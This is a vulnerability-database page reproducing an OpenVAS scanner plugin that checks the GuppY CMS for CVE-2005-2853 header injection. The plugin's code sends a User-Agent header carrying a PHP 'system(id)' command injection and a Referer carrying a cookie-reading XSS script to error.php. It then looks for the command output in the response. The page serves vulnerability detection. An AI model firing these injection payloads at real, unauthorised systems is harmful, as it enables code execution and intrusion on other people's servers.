Guppy Request Header Injection Vulnerabilities
🗓️ 26 Mar 2006 00:00:00Reported by Copyright (C) 2006 Josh Zlatin-AmishavType
openvas🔗 plugins.openvas.org👁 25 Views
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
| CVE-2005-2853 | 8 Sep 200504:00 | – | cve | |
| CVE-2005-2853 | 8 Sep 200504:00 | – | cvelist | |
| EUVD-2005-2854 | 7 Oct 202500:30 | – | euvd | |
| GuppY < 4.5.6a Multiple Vulnerabilities | 6 Oct 200500:00 | – | nessus | |
| Guppy Multiple HTTP Header XSS | 6 Oct 200500:00 | – | nessus | |
| CVE-2005-2853 | 8 Sep 200510:03 | – | nvd | |
| GuppY < 4.5.6a Multiple Vulnerabilities - Active Check | 26 Mar 200600:00 | – | openvas | |
| CVE-2005-2853 | 21 May 202522:07 | – | redhatcve |
| Source | Link |
|---|---|
| securityfocus | www.securityfocus.com/bid/14753 |
| frsirt | www.frsirt.com/english/advisories/2005/1639 |
# SPDX-FileCopyrightText: 2006 Josh Zlatin-Amishav
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.19943");
script_version("2023-12-13T05:05:23+0000");
script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
script_tag(name:"creation_date", value:"2006-03-26 17:55:15 +0200 (Sun, 26 Mar 2006)");
script_tag(name:"cvss_base", value:"4.3");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
script_cve_id("CVE-2005-2853");
script_name("Guppy Request Header Injection Vulnerabilities");
script_category(ACT_ATTACK);
script_family("Web application abuses");
script_copyright("Copyright (C) 2006 Josh Zlatin-Amishav");
script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "cross_site_scripting.nasl", "global_settings.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
script_xref(name:"URL", value:"http://www.frsirt.com/english/advisories/2005/1639");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/14753");
script_tag(name:"solution", value:"Upgrade to Guppy version 4.5.4 or later.");
script_tag(name:"summary", value:"The remote web server contains a PHP script that allows for
arbitrary code execution and cross-site scripting attacks.
Description :
The remote host is running Guppy, a CMS written in PHP.
The remote version of this software does not properly sanitize input
to the Referer and User-Agent HTTP headers before using it in the
'error.php' script. A malicious user can exploit this flaw to inject
arbitrary script and HTML code into a user's browser or, if PHP's
'magic_quotes_gpc' setting is disabled, PHP code to be executed on the
remote host subject to the privileges of the web server user id.");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_analysis");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("global_settings.inc");
# A simple alert.
xss = "<script>alert(document.cookie);</script>";
port = http_get_port( default:80 );
if( ! http_can_host_php( port:port ) ) exit( 0 );
host = http_host_name( dont_add_port:TRUE );
has_xss = http_get_has_generic_xss( port:port, host:host );
host = http_host_name( port:port );
foreach dir( make_list_unique( "/", http_cgi_dirs( port:port ) ) ) {
if( dir == "/" ) dir = "";
req = string( "GET ", dir, "/error.php?err=404 HTTP/1.1\r\n",
"User-Agent: ", '"; system(id);#', "\r\n", # nb: try to execute id.
"Referer: ", xss, "\r\n", # and try to inject some javascript.
"Host: ", host, "\r\n", "\r\n" );
res = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );
# We need to follow the 302 redirection
pat = "location: (.+)";
matches = egrep( string:res, pattern:pat );
if( matches ) {
foreach match( split( matches ) ) {
match = chomp( match );
url = eregmatch( string:match, pattern:pat );
if( isnull( url ) ) break;
url = url[1];
debug_print( "url[", url, "]\n" );
break;
}
}
if( url ) {
req = http_get( item:dir + "/" + url, port:port );
res = http_keepalive_send_recv( port:port, data:req, bodyonly:TRUE );
pat = "^(uid=[0-9]+.*gid=[0-9]+.*)";
matches = egrep( string:res, pattern:pat );
if( matches ) {
foreach match( split( matches ) ) {
match = chomp( match );
idres = eregmatch( string:match, pattern:pat );
if( isnull( idres ) ) break;
idres = idres[1];
debug_print( "idres[", idres, "]\n" );
break;
}
}
if( idres ) {
report = string( "The following is the output received from the 'id' command:\n",
"\n", idres, "\n" );
security_message( port:port, data:report );
exit( 0 );
} else if ( res =~ "^HTTP/1\.[01] 200" && xss >< res && ! has_xss ) { # Check for XSS.
security_message( port:port );
exit( 0 );
}
}
}
exit( 99 );
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
13 Dec 2023 00:00Current
6.9Medium risk
Vulners AI Score6.9
CVSS 24.3
EPSS0.01177